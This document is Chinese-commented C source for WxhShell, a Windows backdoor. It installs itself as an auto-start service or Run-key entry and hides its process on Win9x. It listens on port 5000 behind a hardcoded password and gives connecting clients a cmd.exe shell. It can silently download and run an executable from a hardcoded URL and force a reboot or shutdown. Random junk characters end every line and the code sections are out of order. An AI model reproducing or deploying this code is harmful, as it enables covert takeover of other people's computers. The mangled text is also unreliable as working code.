    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3'55!DE  
    if(Boot(SHUTDOWN)) 4=njM`8Y'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [mo9?  
    else { #,SPV&  
    closesocket(wsh); Jn\>S z(96  
    ExitThread(0); N8*QAe kN  
    } 1/=6s5vS}  
    break; e=ry_@7  
    } 0J .]`kR  
  // 获取shell |-]'~ @~  
  case 's': { !3ji]q;uF  
    CmdShell(wsh);  fTGVG  
    closesocket(wsh); ]_m(q`_  
    ExitThread(0); 4SIS #m  
    break; ^aqBL  
  } +@+*sVb  
  // 退出 );xTl6Y9  
  case 'x': { gZL,xX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F{eI[A  
    CloseIt(wsh); VP }To  
    break; A ? [Wfq|  
    } MwD8a<2Dg  
  // 离开 LKM;T-  
  case 'q': { K*tomy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xE6hE'rh.O  
    closesocket(wsh); p%+'iDb  
    WSACleanup(); _"#n%@  
    exit(1); 1 l-Y)   
    break; xQxq33\  
        } mfk^t`w_  
  } pvdCiYo1r  
  } 50Ov>(f@7  
C|S~>4`  
  // 提示信息 `>HrO}x^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kq> I?wg  
} L1MG("R  
  } 3#{Al[jq  
XJA];9^  
  return; Z1U@xQj  
} ]4,eCT  
CS;4ysNf  
// shell模块句柄 5M#L O@U  
int CmdShell(SOCKET sock) n}8}:3"  
{ $OaxetPH  
STARTUPINFO si; {Lsl2@22  
ZeroMemory(&si,sizeof(si)); p<\7" SB=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,HK-mAH   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rs0Wy  
PROCESS_INFORMATION ProcessInfo; lB   
char cmdline[]="cmd"; RVh{wg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Lwo9s)j<e  
  return 0; YLb$/6gj6  
} Oh,]"(+  
+?6@%mW'  
// 自身启动模式 Bk/&H-NI  
int StartFromService(void) Fzy5k?R  
{ q!YAA\'31  
typedef struct 3]pHc)p!.  
{ se29IhS!e  
  DWORD ExitStatus; #l!nBY~  
  DWORD PebBaseAddress; [6\b(kS+  
  DWORD AffinityMask; sL#MYW5E  
  DWORD BasePriority; ,:qk+  
  ULONG UniqueProcessId; {n(/ c33  
  ULONG InheritedFromUniqueProcessId; 9`7>" [=P  
}   PROCESS_BASIC_INFORMATION; di37   
1YtK+,mz  
PROCNTQSIP NtQueryInformationProcess; lLS7K8;4W  
a: F\4x=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C40o_1g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c6VyF=2q  
)D&xyC}  
  HANDLE             hProcess; |u+!CR  
  PROCESS_BASIC_INFORMATION pbi; wQ81wfr1:  
A}(o1wuw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FzG>iC}  
  if(NULL == hInst ) return 0; %RzCJxT  
EKEJ9Y+47H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'i4L.&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M<P8u`)>4H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :a9   
tN z(s)  
  if (!NtQueryInformationProcess) return 0; Sv!JA#Ag  
==EB\>g|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U|x#'jGo'  
  if(!hProcess) return 0; [gj>ey8T  
@]Lu"h#u=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; LX#gc.c  
8k;il54#  
  CloseHandle(hProcess); #gXxBM  
iWIq~t*,H]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }l Gui>/D  
if(hProcess==NULL) return 0; 7 4]qz,  
s%1Z raMvJ  
HMODULE hMod; *NC@o*  
char procName[255]; #@F.wV0  
unsigned long cbNeeded; &_74h);2I:  
~yJJ00%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~EU\\;1Rmq  
WWATG=  
  CloseHandle(hProcess); #\\|:`YV  
L[!||5y  
if(strstr(procName,"services")) return 1; // 以服务启动 .AZwVP<  
gj I>tz}  
  return 0; // 注册表启动 HEw&'  
} W:K '2j  
PlCj<b1D:  
// 主模块 gyuBmY  
int StartWxhshell(LPSTR lpCmdLine) K|I<kA~!H  
{ |qBcE  
  SOCKET wsl; qQ 8+gZG$R  
BOOL val=TRUE; ABcB-V4  
  int port=0; YLuf2ja}X  
  struct sockaddr_in door; ',/2J0_  
Y(R.<LtY  
  if(wscfg.ws_autoins) Install(); $=) Pky-~  
{(I":rt#  
port=atoi(lpCmdLine); (%mV,2|:20  
Z58{YCY  
if(port<=0) port=wscfg.ws_port; bP>Kx-%q  
tS-gaT`T  
  WSADATA data; 73Hm:"Eqd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n#@Qd!uzM  
;%;||?'v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F~eY'~&H}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -+0kay%  
  door.sin_family = AF_INET; $m A2 AI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RGrQ>'RL  
  door.sin_port = htons(port); <>728;/C  
6&il>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @_1cY#!  
closesocket(wsl); m.<u !MI  
return 1; Qxk& J  
} o4wSt6gBcJ  
jcb&h@T8kv  
  if(listen(wsl,2) == INVALID_SOCKET) { |gIE$rt-~W  
closesocket(wsl); fH$#vRcq  
return 1; mhy='AQJ  
} 9zY6hh**  
  Wxhshell(wsl); 3R0ioi 7  
  WSACleanup(); $sS~hy*  
pdvnpzj  
return 0; >Fs/Wet  
T5z]=Pd"^  
} Q<gUu^rq  
`.J17mQe"  
// 以NT服务方式启动 >H ?k0M`L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >##Z}auY  
{ D:/q<<|  
DWORD   status = 0; "%\hDL;  
  DWORD   specificError = 0xfffffff; @\o"zU  
I2Imb9k~B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iaLZ|\`3a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; PjH'5Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Wky9w r:g  
  serviceStatus.dwWin32ExitCode     = 0; -$DfnAh  
  serviceStatus.dwServiceSpecificExitCode = 0; v; R2,`[W  
  serviceStatus.dwCheckPoint       = 0; xiDgQTDz  
  serviceStatus.dwWaitHint       = 0; =4l @A>  
)BvMFwQG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Hf\sF(, (  
  if (hServiceStatusHandle==0) return; kguZAO6  
+@~WKa  
status = GetLastError(); aU^6FI  
  if (status!=NO_ERROR) b?c/J {me  
{ U7 ?v4O]D[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0Qq<h;8xEc  
    serviceStatus.dwCheckPoint       = 0; =*"8N-FU  
    serviceStatus.dwWaitHint       = 0; ]Yw$A  
    serviceStatus.dwWin32ExitCode     = status; ts9wSx~[+  
    serviceStatus.dwServiceSpecificExitCode = specificError; a[ayr$Hk?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^ nI2<P  
    return; "r* `*1  
  } QXN_ ?E,g/  
*BdH &U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y.c6r> }  
  serviceStatus.dwCheckPoint       = 0; n:P:im?,y*  
  serviceStatus.dwWaitHint       = 0; _+'!l'`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (:HT|gKoE  
} +{RTz)e?*  
23WrJM!2N  
// 处理NT服务事件,比如:启动、停止 .7  0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }\Rmwm-  
{ &9fQW?Czs  
switch(fdwControl) ?_i >Kx  
{ doOuc4  
case SERVICE_CONTROL_STOP: *=.~PR6W{  
  serviceStatus.dwWin32ExitCode = 0; }Sbk qd5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pCA`OP);=  
  serviceStatus.dwCheckPoint   = 0; IEMa/[n/  
  serviceStatus.dwWaitHint     = 0; . ump? M  
  { ?5J#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5l 3PAG  
  } ]B?M3`'>  
  return; Hd\V?#H  
case SERVICE_CONTROL_PAUSE: .<F46?HS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `SsoRPW&$  
  break; 7XK0vKmW3  
case SERVICE_CONTROL_CONTINUE: 8hD[z}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e-`.Ht  
  break; #$x,PeG  
case SERVICE_CONTROL_INTERROGATE: t15{>>f4>  
  break; 0B7G:X0  
};  d]`6N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .JXEw%I@  
} jr?/wtw  
HFZ'xp|3dn  
// 标准应用程序主函数 9`*Eeb>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jD6HCIjd'  
{ 2&>t,;v@  
4,z|hY_*t  
// 获取操作系统版本 YE~IO5   
OsIsNt=GetOsVer(); ds9 'k.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N=KtW?C  
XPO-u]<W  
  // 从命令行安装 6]Hwr_/tk  
  if(strpbrk(lpCmdLine,"iI")) Install(); {tUe(  
TZ5TkE;1  
  // 下载执行文件 $R/@8qnP W  
if(wscfg.ws_downexe) { _&BK4?H@b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =g9n =spAn  
  WinExec(wscfg.ws_filenam,SW_HIDE); YM:sLeQ~c  
} 5@m ,*n&[  
]690ey$E:j  
if(!OsIsNt) { ( .cA'f?h  
// 如果时win9x,隐藏进程并且设置为注册表启动 r|u[36NmA  
HideProc(); .Y;f 9R  
StartWxhshell(lpCmdLine); _ZK^J S  
} N*}soMPV^.  
else JM|HnyI  
  if(StartFromService()) jJ$B^Y"4  
  // 以服务方式启动 !SW0iq[7j  
  StartServiceCtrlDispatcher(DispatchTable); QQ.?A(U7  
else \+%~7Bi]z  
  // 普通方式启动 ~ p? ArZb  
  StartWxhshell(lpCmdLine); Wvf>5g)?  
gZ$ 8Y7  
return 0; ~3?-l/$  
} 5 ix*wu`,  
!q\=e@j-i  
f?Zjd&|Ch  
p{^:b6  
=========================================== 4k<o  
@)6b  
Lc{arhN  
@"MYq#2c$  
M/=36{,w-  
ly17FLJ].  
" k8+J7(_c  
hhy+bA}  
#include <stdio.h> id1cZig  
#include <string.h> z/ 1$G"  
#include <windows.h> =# Sw.N  
#include <winsock2.h> C!*!n^qA  
#include <winsvc.h> ='o3<}  
#include <urlmon.h> 0w3c8s.  
Y0a[Lb0  
#pragma comment (lib, "Ws2_32.lib") ?l/6DT>e  
#pragma comment (lib, "urlmon.lib") Q:(mK* _  
W/!P1M n  
#define MAX_USER   100 // 最大客户端连接数 dj Ojd,  
#define BUF_SOCK   200 // sock buffer 3 y}E*QE  
#define KEY_BUFF   255 // 输入 buffer CW &z?Bra  
#y:D{%Wp  
#define REBOOT     0   // 重启 g8##Be  
#define SHUTDOWN   1   // 关机 51q|-d  
u]IbTJ'  
#define DEF_PORT   5000 // 监听端口 _Hv+2E[4Z  
PR.3EL  
#define REG_LEN     16   // 注册表键长度 ,*XB11P  
#define SVC_LEN     80   // NT服务名长度 v.-DXQq  
>>P5 4|&  
// 从dll定义API ~V8z%s@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aZ4EcQ@-$]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +)sX8zb*gY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lA5Dag'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n^4R]9U  
Ik0g(-d  
// wxhshell配置信息 (?|M'gZ  
struct WSCFG { p"ytt|H  
  int ws_port;         // 监听端口 aV'bI  
  char ws_passstr[REG_LEN]; // 口令 ;t{q]"? W  
  int ws_autoins;       // 安装标记, 1=yes 0=no o6[.$C  
  char ws_regname[REG_LEN]; // 注册表键名 )@N d3Z  
  char ws_svcname[REG_LEN]; // 服务名 ZZT #V%Q=u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kcCCa@~v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^HC 6v;K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6eV#x%z@v'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no EnM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .HS6DOQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ':vZ&  
QhZg{v[d  
}; vV}w>Ap[  
53])@Mmus  
// default Wxhshell configuration 7=CkZ&(?  
struct WSCFG wscfg={DEF_PORT, pmNy=ZXx  
    "xuhuanlingzhe", 0kkDlWkzo  
    1, =8\.fp  
    "Wxhshell", ~5N}P>4 *  
    "Wxhshell", P1-eDHYw  
            "WxhShell Service", bC<W7qf]}  
    "Wrsky Windows CmdShell Service", R/hI XO  
    "Please Input Your Password: ", ~lw9sm*2v2  
  1, *S.U8;*Xj  
  "http://www.wrsky.com/wxhshell.exe", 5?7AzJl>  
  "Wxhshell.exe" @j/2 $  
    }; %\m"Yi]  
jW'YQrj{<Y  
// 消息定义模块 SGAzeymw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h:?^0b!@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U] LDi8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5'} V`?S  
char *msg_ws_ext="\n\rExit."; 1F@j?)(  
char *msg_ws_end="\n\rQuit."; v-{g  
char *msg_ws_boot="\n\rReboot..."; UT<e/  
char *msg_ws_poff="\n\rShutdown..."; X;I9\Cp]!  
char *msg_ws_down="\n\rSave to "; .{V"Gn9!  
$'J3 /C7  
char *msg_ws_err="\n\rErr!"; k;l3^kTy  
char *msg_ws_ok="\n\rOK!"; <CyU9`ye  
]q]xU,  
char ExeFile[MAX_PATH]; n=.P46|  
int nUser = 0; G!q[NRu  
HANDLE handles[MAX_USER]; G *CPj^O  
int OsIsNt; !"L.gu-'  
m{/7)2.  
SERVICE_STATUS       serviceStatus; C-&ymJC|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f<YYo  
Q\$3l'W  
// 函数声明 %2\Hj0JQQ  
int Install(void); <3;p>4gN  
int Uninstall(void); n Nt28n@  
int DownloadFile(char *sURL, SOCKET wsh); ~non_pJ  
int Boot(int flag); bKQho31a'  
void HideProc(void); M-o'`e'  
int GetOsVer(void); WMB%?30  
int Wxhshell(SOCKET wsl); 2*: q$c  
void TalkWithClient(void *cs); aGD< #]  
int CmdShell(SOCKET sock); C96/   
int StartFromService(void); !jj`Ht)  
int StartWxhshell(LPSTR lpCmdLine); P%3pM*.  
8z9 {H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #{cy(&cz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aB ,-E>+  
5'zXCHt  
// 数据结构和表定义 }Le]qR9Y]  
SERVICE_TABLE_ENTRY DispatchTable[] = U$OZkHA[  
{ 39X~<\&'  
{wscfg.ws_svcname, NTServiceMain}, `b?uQ\#-M  
{NULL, NULL} 4b;Mb  
}; =oBpS=<7  
KdVKvs[  
// 自我安装 X6HaC+P  
int Install(void) 02-ql F@i  
{ MEDh  
  char svExeFile[MAX_PATH]; / F0q8j0  
  HKEY key; PYkhY;*  
  strcpy(svExeFile,ExeFile); M+/G>U  
6D;N.wDZ  
// 如果是win9x系统,修改注册表设为自启动 SVCh!/qe\  
if(!OsIsNt) { p* >z:=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }3(!kW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1JJsYX  
  RegCloseKey(key); owAO&"C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $dL..QH^K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y* +y&  
  RegCloseKey(key); yXJhOCa  
  return 0;  W2vL<  
    } 9K+> ;`  
  } 2\xw2VQ@P  
} ATs_d_Sz  
else { K`4lL5oH  
lTx_E#^s  
// 如果是NT以上系统,安装为系统服务 ^m>4<~/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zx.qN  
if (schSCManager!=0) {EgSjxfmw  
{ S=UuEmU5N  
  SC_HANDLE schService = CreateService cAWn*%  
  ( uFkl^2  
  schSCManager, (@?mm  
  wscfg.ws_svcname, VBhUh~:Om  
  wscfg.ws_svcdisp, oTw!#Re)  
  SERVICE_ALL_ACCESS, RZa/la*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v3-/ [-XB:  
  SERVICE_AUTO_START, /$~1e7 W  
  SERVICE_ERROR_NORMAL, pj>R9zpn_  
  svExeFile, qmrT d G  
  NULL, WTSh#L  
  NULL, yaUtDC.|  
  NULL, \v2!5z8|  
  NULL, F y+NJSG  
  NULL  ? wS}'  
  ); &W<7!U:2m  
  if (schService!=0) [M|^e;tWK  
  { d ^bSV4  
  CloseServiceHandle(schService); HbTVuf o  
  CloseServiceHandle(schSCManager); fM= o?w6v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M xE]EJZ  
  strcat(svExeFile,wscfg.ws_svcname); D!j/a!MaKk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xl}rdnf}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RT[p!xL  
  RegCloseKey(key); cx\"r  
  return 0; I7ao2aS  
    } 1Bytu >2  
  } iE%"Q? Q/  
  CloseServiceHandle(schSCManager); x YS81  
} [|]J8o@u^  
} {[y6qQm  
$WA wMS,  
return 1; !>`Q]M`  
} mF7 Ak&So^  
",#.?vT`  
// 自我卸载 sx,$W3zI'G  
int Uninstall(void) "HOZ2_(o  
{ ~1G^IZ6  
  HKEY key; ptCF))Zm'  
\:vF FK4a  
if(!OsIsNt) { "{0G,tdA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ot=>~(u0  
  RegDeleteValue(key,wscfg.ws_regname); THrLX;I  
  RegCloseKey(key); ,KY;NbL-Jp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'E| %l!xO  
  RegDeleteValue(key,wscfg.ws_regname); E|O&bUMh  
  RegCloseKey(key); :5YIoC  
  return 0; hRkCB  
  }  |$Yk)z3  
} -^p{J TB+  
} DE(XS zX  
else { *!5CL'  
>M<3!?fW)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @6 he!wW  
if (schSCManager!=0) 8P n  
{ +B ?qx Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); is.t,&H4P]  
  if (schService!=0) =EJ&=t  
  { I%T+H[,  
  if(DeleteService(schService)!=0) { pbMANZU[  
  CloseServiceHandle(schService); iOfm:DTPr  
  CloseServiceHandle(schSCManager); l}nVWuD  
  return 0; }x'*3zI  
  } 6)INr,d  
  CloseServiceHandle(schService); AL]gK)R  
  } .$U,bE  
  CloseServiceHandle(schSCManager); f:;-ZkIU ?  
} *D]:{#C*  
} G]lGoa}]`u  
w2LnY1A  
return 1; [gW eD  
} :jiEn y  
kWzp*<lWe  
// 从指定url下载文件 ~ 'ZwD/!e  
int DownloadFile(char *sURL, SOCKET wsh) iI GK "}  
{ *|rdR2R!  
  HRESULT hr; F^dJ{<yX  
char seps[]= "/"; 2BccE  
char *token; .f~9IAXP`  
char *file; 4.9qB  
char myURL[MAX_PATH]; d4y#n=HnnV  
char myFILE[MAX_PATH]; EC?5GNGT,  
mWviWHK  
strcpy(myURL,sURL); *i"9D:  
  token=strtok(myURL,seps); xm m,- u  
  while(token!=NULL) o/AG9|()4  
  { r)<A YX]J  
    file=token; ,np=m17  
  token=strtok(NULL,seps); 2Kxb(q"  
  } jWdviS9&g  
]\yIHdcDi  
GetCurrentDirectory(MAX_PATH,myFILE); %\'=Y/yP  
strcat(myFILE, "\\"); ;c 7I "?@z  
strcat(myFILE, file); h,LSqjf "  
  send(wsh,myFILE,strlen(myFILE),0); 5U 84 *RY  
send(wsh,"...",3,0); U9 iI2$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H,> }t S  
  if(hr==S_OK) J*@pM  
return 0; J""Cgf  
else gawY{Jr8I  
return 1; !j!w $  
P1F-Wy1  
} -}7$;QK&a  
PT>b%7Of  
// 系统电源模块 @A[)\E1  
int Boot(int flag) f&-`+V}U  
{ 1]xmOx[mb  
  HANDLE hToken; /?.?1-HM  
  TOKEN_PRIVILEGES tkp; F^l1WX6  
W8W7<ml0A  
  if(OsIsNt) { jg$qp%7i%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ejk;(rxI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /&gg].&2?  
    tkp.PrivilegeCount = 1; ^O}a,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tZ]gVgZg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .n\JY;"  
if(flag==REBOOT) { +wi=IrRr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @eYpARF  
  return 0; .}__XWK5  
} CW1l;uwtU  
else { UyGo0POW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 45~x #Q  
  return 0; +C% 6jGGh  
} & bTCTDZh  
  } )zL@h  
  else { Q<sqlh!h  
if(flag==REBOOT) { J 2O,wb)U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e-dkvPr  
  return 0; a_N7X  
} t$BjJ -G  
else { x?AG*' h&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;Gr {  
  return 0; 1I%u)[;>  
} \[9VeqMU  
} lY,^  
eo+<@83  
return 1; 12`u[O}\}-  
} >axeUd+@i  
3Gs\Q{O:  
// win9x进程隐藏模块 3?o4  
void HideProc(void) 2@ S}x@^  
{ (Yewd/T  
M+ [ho]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~kW?]/$h  
  if ( hKernel != NULL ) eB0exPz%  
  { ' ]k<' `b|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FJvY`zqB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HXq']+iC  
    FreeLibrary(hKernel); 4  OPY  
  } qvn.uujYS  
m CO1,?  
return; ZvRa"j  
} JxIJxhA>  
W9SU1{*9  
// 获取操作系统版本 0? {ADQz  
int GetOsVer(void) ;21D^e  
{ ytttF5-  
  OSVERSIONINFO winfo; FWbp;v{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z6I|Y5#H  
  GetVersionEx(&winfo); $zP5Hzx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )Do 0  
  return 1; U[wx){[|  
  else bq/Aopfr  
  return 0; 9c^,v_W@  
} ~0MpB~ {xd  
um,f!ho-U  
// 客户端句柄模块 ]-gyXE1.r  
int Wxhshell(SOCKET wsl) z0[@O)Sj  
{ KF(H >gs  
  SOCKET wsh; 4aO/^Hl  
  struct sockaddr_in client; J&8KIOz14Z  
  DWORD myID; -,8LL@_  
+a5F:3$  
  while(nUser<MAX_USER) O`Tz^Q /D  
{ 8c5YX  
  int nSize=sizeof(client); ]}3s/NJi  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \_Bj"K  
  if(wsh==INVALID_SOCKET) return 1; 9KVJk</:n  
]BO:*&O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >.meecE?Q  
if(handles[nUser]==0) VWft/2p~  
  closesocket(wsh); 5/"$ _7"{a  
else (p>|e\(]0  
  nUser++; R XCn;nM4  
  } TIGtX]`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GLsa]}m,9  
3E*|^*  
  return 0; (=j;rfvP  
} b~aM=71  
](Fey0@  
// 关闭 socket J ?o  
void CloseIt(SOCKET wsh)  qb? <u  
{ jR%*,IeB  
closesocket(wsh); -#ZvjEaey  
nUser--; PYCN3s#Gi  
ExitThread(0); sh :$J[  
} #8Bh5L!SJ1  
?tLApy^`?  
// 客户端请求句柄 uSfHlN4l  
void TalkWithClient(void *cs) |N/d }  
{ httywa^  
J5{;+ysUMl  
  SOCKET wsh=(SOCKET)cs; a0|hLqI  
  char pwd[SVC_LEN]; -Q20af-  
  char cmd[KEY_BUFF]; u`'" =Y_E  
char chr[1]; E0ED[d,  
int i,j; ^8 VW$}  
KW:N 6w  
  while (nUser < MAX_USER) { I[?\ Or  
nXT`7  
if(wscfg.ws_passstr) { yXU.PSG*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nQc,^A)I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +4 k=Y  
  //ZeroMemory(pwd,KEY_BUFF); 4Fg2/O_3  
      i=0; x*1wsA  
  while(i<SVC_LEN) { z$J m1l  
YY;<y%:8Z  
  // 设置超时 N`W[Q>n  
  fd_set FdRead; DP{nvsF  
  struct timeval TimeOut; ` @QZK0Ox  
  FD_ZERO(&FdRead); e?W ,D0h  
  FD_SET(wsh,&FdRead); )Q1>j 2 &  
  TimeOut.tv_sec=8; <Z^by;d|z  
  TimeOut.tv_usec=0; |0[Buh[_:c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D /QLp3+o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <D a-rv8  
^.A*mMQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `\( ?^]WLa  
  pwd=chr[0]; WZ-~F/:c%  
  if(chr[0]==0xd || chr[0]==0xa) { .I^4Fc}&4  
  pwd=0; :-RB< Lj  
  break; !+SL=xy!{  
  } Ro<779.Gn\  
  i++; \B#tB?rA  
    } &l+Qn'N  
*^-AOSVt,  
  // 如果是非法用户,关闭 socket a&'9[9E1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |.)LZP,  
} :qE.(k1@5  
z|>TkCW6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PMAz[w,R~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s[8. l35|  
Y:DopKRD  
while(1) { JvO1tA]ij  
H_?rbz}o  
  ZeroMemory(cmd,KEY_BUFF); z"4 q%DC  
5Cdn j  
      // 自动支持客户端 telnet标准   v6 5C j2ec  
  j=0; 'J?{/O^  
  while(j<KEY_BUFF) { k-ZO/yPo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,-6Oma -  
  cmd[j]=chr[0]; BdD]HXB|_  
  if(chr[0]==0xa || chr[0]==0xd) { %r|sb=(yT  
  cmd[j]=0; YYT;a$GTo  
  break; M86"J:\u]  
  } i%o%bib#  
  j++; rn-bfzoDS  
    } NO~G4PUM0C  
~9]vd|  
  // 下载文件  }#m9Q[  
  if(strstr(cmd,"http://")) { 5|rBb[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n.@HT"  
  if(DownloadFile(cmd,wsh)) |[rn/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #&.Znk:@.f  
  else t oA}0MI(:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y_9\07va<  
  } iDDJJ>F26  
